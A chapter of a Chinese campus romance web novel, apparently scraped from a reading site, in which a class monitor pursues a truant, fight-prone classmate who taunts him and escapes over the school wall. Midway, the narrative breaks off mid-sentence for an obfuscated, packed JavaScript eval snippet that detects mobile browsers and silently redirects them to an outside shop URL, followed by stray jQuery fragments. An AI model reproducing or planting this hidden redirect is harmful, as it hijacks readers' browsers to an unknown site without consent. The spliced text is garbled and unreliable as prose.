九月初,南方的暑气还远远没散干净。

    头顶吊扇搅动着凝固的热浪,将黑板旁的高考倒计时挂历吹得簌簌作响。

    “同学们!留给我们的时间不多了!我们必须抓住每一分每一秒,迎接人生仅有的一次高考!”高三三班班主任老吴站在讲台上,语重心长,照例给全班打气。

    可说着说着,他话锋忽然一沉,一脸痛心疾首的表情:“可就在这种关键时期,我们班极个别同学,居然还有心思谈恋爱!这让我非常失望。”

    话音一落,教室安静了一瞬,接着无数道探究的目光在同学之间来回穿梭,都在暗自揣测那个“极个别”到底是谁。

    “虽然我校校规没有明令禁止学生谈恋爱,但你们自己说说,有哪个高中允许高三学生在这个时候分心?”

    教室中间排,吃瓜一员钟俊杰扫视一圈周围人后,目光蓦地停留在同桌身上。

    同桌许星逸,三班班长,不同于其他人东张西望的好奇,许星逸一脸专注地盯着试卷上的题目,笔尖在草稿纸上快速推演,一气呵成,仿佛外界的一切与他无关。

    钟俊杰突然想起一件事。

    昨天隔壁文科班班花有一封信让他交给许星逸,说是一封学习交流信,但那模样娇羞,不是情书还会是什么。

    信还没送出去,此刻正安安静静躺在抽屉里。钟俊杰捏了捏信封边角,又侧头看了眼许星逸。

    许星逸正把冰丝袖套拉到手背处,严严实实盖住,然后重新拿起笔。他做题时背脊很直,坐姿端正,即便衬衫扣子永远扣到最顶端,依然能看到他脖颈的优雅弧度。

    学习好,人长得好看,怪不得能吸引班花呢!

    钟俊杰这么想着,轻轻咳了咳,想叫一声许星逸,但是张开的嘴又闭了回去。

    倒不是他不想把这情书交出去,而是许星逸这人太高冷,冷到让人不太敢主动靠近,两个人同桌一个学期,交情薄得跟纸一样,翻来覆去也不过是点头打招呼的程度。

    更何况眼下老班还在讲台上语重心长,虽说聊的不是知识点,但这时候贸然递一封信过去,许星逸多半会面无表情地看他几眼,信收不收还是未知数,画面尴尬是肯定的。

    再退一步讲,许星逸和试卷谈恋爱的几率,也比和班花谈恋爱的几率高。

    一边是有些交情的隔壁班花,一边是能预测到的不太乐观的结果……钟俊杰内心挣扎了几个来回,最终轻轻唤了声:“班长……”

    许星逸转过头来,看向钟俊杰。

    钟俊杰每次和这双眼睛对视,都不由得一怔。

    那是一双非常纯粹的眸子,像雨后洗过的墨玉,清透、干净,不带半分杂质,望过来时几乎能照见自己的影子。

    “有事?”

    钟俊杰回过神来,赶紧将粉色信封塞到许星逸手里,说:“隔壁女生给的,你自己看。”

    许星逸还不知道这是什么,就被老吴突然提到自己吸引了注意力,他抬头看向讲台。

    “你们要向许星逸同学学习……不,单就这一点,你们要向沈旭文同学学习,他虽然有很多不好的习惯,但据我所知没有谈过恋爱,所以同学们,就连沈旭文同学都不屑谈的恋爱,你们这些好学生,就更不应该碰了。”

    说起沈旭文,老吴的目光自然而然扫向那个空荡荡的座位。

    现在是第一二节课的课间,但老吴从早读就没看到沈旭文。

    对于沈旭文逃课的情况已经见怪不怪,以前也管过,三天两头地要求家长来学校,希望家校一体,好好纠正沈旭文身上的问题。

    但是后来沈旭文父母也放弃了,直接给学校捐了栋楼,意思再明显不过,只要不触及生命安全、不碰法律红线,成绩差、逃课、抽烟都没事儿。

    久而久之,老吴对这个问题学生也是有心无力。

    但自己学生的动向总要了解清楚的,老吴问道:“今天有谁见过沈旭文?”

    “老师,我见过。”举手的是名通校生,“在校东门隔壁的小巷子,沈旭文和一群社会青年在一起抽烟。”

    “不不,我看到的时候他正在打架。”又一名学生说。

    课桌下,正准备打开信封的许星逸,手腕不受控地一抖,信封“刺啦”一声撕开一道裂痕。

    “他打架你不和我说!”

    如果只是逃课老吴睁只眼闭只眼就算了,但打架的后果可大可小!

    老吴批评了这名同学一句,并且强调,“大家记住,以后遇到类似情况及时向我、其他老师或者班长汇报。”

    许星逸将信封胡乱塞进抽屉,抬起头,正好老吴也看过来。

    A市教育局有个规定,老师在处理学生问题的时候,必须要由另一名学生在旁协助或见证,以免发生纠纷时,出现各执一词的局面,此举是为了保护师生双方。

    一中对这名学生做了规定,通常由班长或纪律委员承担这个角色。

    老吴冲许星逸做了个打电话的手势:“我先联系他。”

    许星逸点点头,默契得有些心照不宣。

    一中是A市最好的高中,问题学生有,但绝对不多,而像沈旭文这样闹挺的刺头则少之又少,几乎每周都要闹点事情出来。

    许星逸的太阳穴突突地跳,写下试卷最后一道题答案,起身走到老吴办公室。

    办公室门口,许星逸差点和着急出门的老吴撞了个满怀。

    老吴神情焦灼,脚步飞快,边打电话边示意许星逸跟他走。

    挂掉电话,老吴说:“我这还没打沈旭文电话,校长的电话就进来了,你猜怎么着?沈旭文这小子,打了人,这么巧,被对方家长逮个正着,扭送到了校长办公室,现在正在校长办公室要说法!”

    “这样,我等会儿以上课要紧为由,你先带沈旭文回教室,剩下的我来处理。”

    许星逸声线平静:“好。”

    到了校长办公室,沈旭文懒散地坐在皮质沙发里。

    对面是三个脸上挂彩的男生,许星逸对他们并没有印象。

    再看沈旭文,一对三,没受半点伤。他的五官依旧惹眼,一双长腿随意地伸着,几乎横跨半张茶几。

    在天然弯的许星逸眼里,沈旭文身材和颜值都很顶,是gay圈天菜,但他那副吊儿郎当、不受约束的模样,许星逸打心底讨厌。

    三对父母叉腰轮番数落沈旭文,沈旭文弹了弹衣服上的灰尘,熟门熟路地去给自己倒了杯水。

    见状,他们对沈旭文又是一场轮番轰炸。

    老吴上前安抚情绪,批评了沈旭文。

    “各位家长,这位同学的家长都不在本地,要请他们过来恐怕也不是今天就能过来的,要不这样,让学生先去上课,我给诸位几个方案解决,你们看怎么样……”

    -

    许星逸走在前,沈旭文插兜走在后面。

    走出行政楼,外面烈日当空,许星逸撑开遮阳伞,然后就听到身后传来一声很轻的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698062|208034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑。

    “我说许大班长,大热天你一个男的,又是长裤、又是袖套,还打遮阳伞,你觉不觉得自己有点……”沈旭文故意停顿,从裤袋里摸出烟盒,抽出一支,叼在嘴里,眼神嘲弄地看向许星逸,“娘?”

    这话说出来欠揍,但沈旭文早想这么说了。

    谁叫许星逸生了一对极漂亮的眼睛,黑白分明,像一汪潭水,比他见过所有女生的眼睛都要好看。

    但好看有什么用,为人特别讨厌,沈旭文从没见过这么讨厌的人。

    他故意恶心许星逸,顺便想在那张万年冰山脸上撬出一点裂缝,暴怒也好,难堪也罢,怎么都行,但他从未如愿。

    他总是一副波澜不惊的样子,而自己的行为好像总是打在棉花上,伤不到对方,反倒把自己憋得够呛。

    一想到这儿,沈旭文那股烦躁劲儿又往上拱了拱。

    “沈旭文,教学区不准抽烟。”

    沈旭文拿着打火机的手狠狠一顿。

    “沈旭文,教室不许抽烟”“沈旭文,厕所不准抽烟”“沈旭文,操场抽烟班级也会被扣分”……

    霎时,属于许星逸的“魔咒”在沈旭文脑内来回快速播放。

    沈旭文太阳穴突突直跳,取下嘴里的烟,扭头往另一个方向走。

    许星逸跟了上去:“沈旭文,你去哪儿?老班让你去上课!”

    沈旭文走路飞快,许星逸几乎是小跑着才勉强追上。

    左拐右拐,许星逸追着沈旭文来到学校后门,穿过一小片树林来到一个角落。

    “许大班长,你是太平洋警察吗?管这么宽!”

    这片角落没有监控,沈旭文可以光明正大地抽烟,但不代表上课时间可以不在教室。

    “沈旭文你能不能懂点事,今天你惹的事不小,赶紧回去上课。”

    沈旭文点烟:“我要是不呢?”

    “那我就一直跟着你。”

    这话许星逸说得平淡,但他还真做得出来。

    沈旭文烦躁不已,这个人就不能消停一天吗?每天像条八爪鱼一样缠着自己,说着千篇一律的话,没完没了。

    班主任都没他这样。

    沈旭文吸烟,而后吐出。

    “你烦不烦!”

    许星逸心说,确实烦。但嘴上仍是那句:“把烟掐了,然后回去上课。”

    “不回。”沈旭文说。

    “那我就一直跟着。”

    沈旭文压下想揍人的冲动,如果这个世界的愿望都能成真,他希望此刻许星逸立即消失……不,自己消失也行。

    总之,不想再看到许星逸。

    “回教室是吧?”沈旭文猛吸一口烟,将半截烟丢到地上,用脚踩灭,“行。”

    他从许星逸身边经过,肩膀故意撞了一下许星逸的遮阳伞,力道不算重,但让许星逸被带得后退了半步。

    许星逸站在原地,看着沈旭文的背影往教学楼方向走,他双手插兜,散漫、不羁,透着一股“你以为真能管住老子”的桀骜。

    许星逸缓缓皱了皱眉,按照以往的交锋经验来看,沈旭文没这么顺从。

    他的步伐不紧不慢地跟在沈旭文身后,而当沈旭文穿过连接学校后门的柏油路,斜穿路另一头的树林时,许星逸就意识到了不对劲。

    这不是去班级的路。

    他匆忙跟上去,却见沈旭文一个翻身爬上围墙,冲墙下的许星逸咧嘴笑,用嘴型说了两个字——傻子。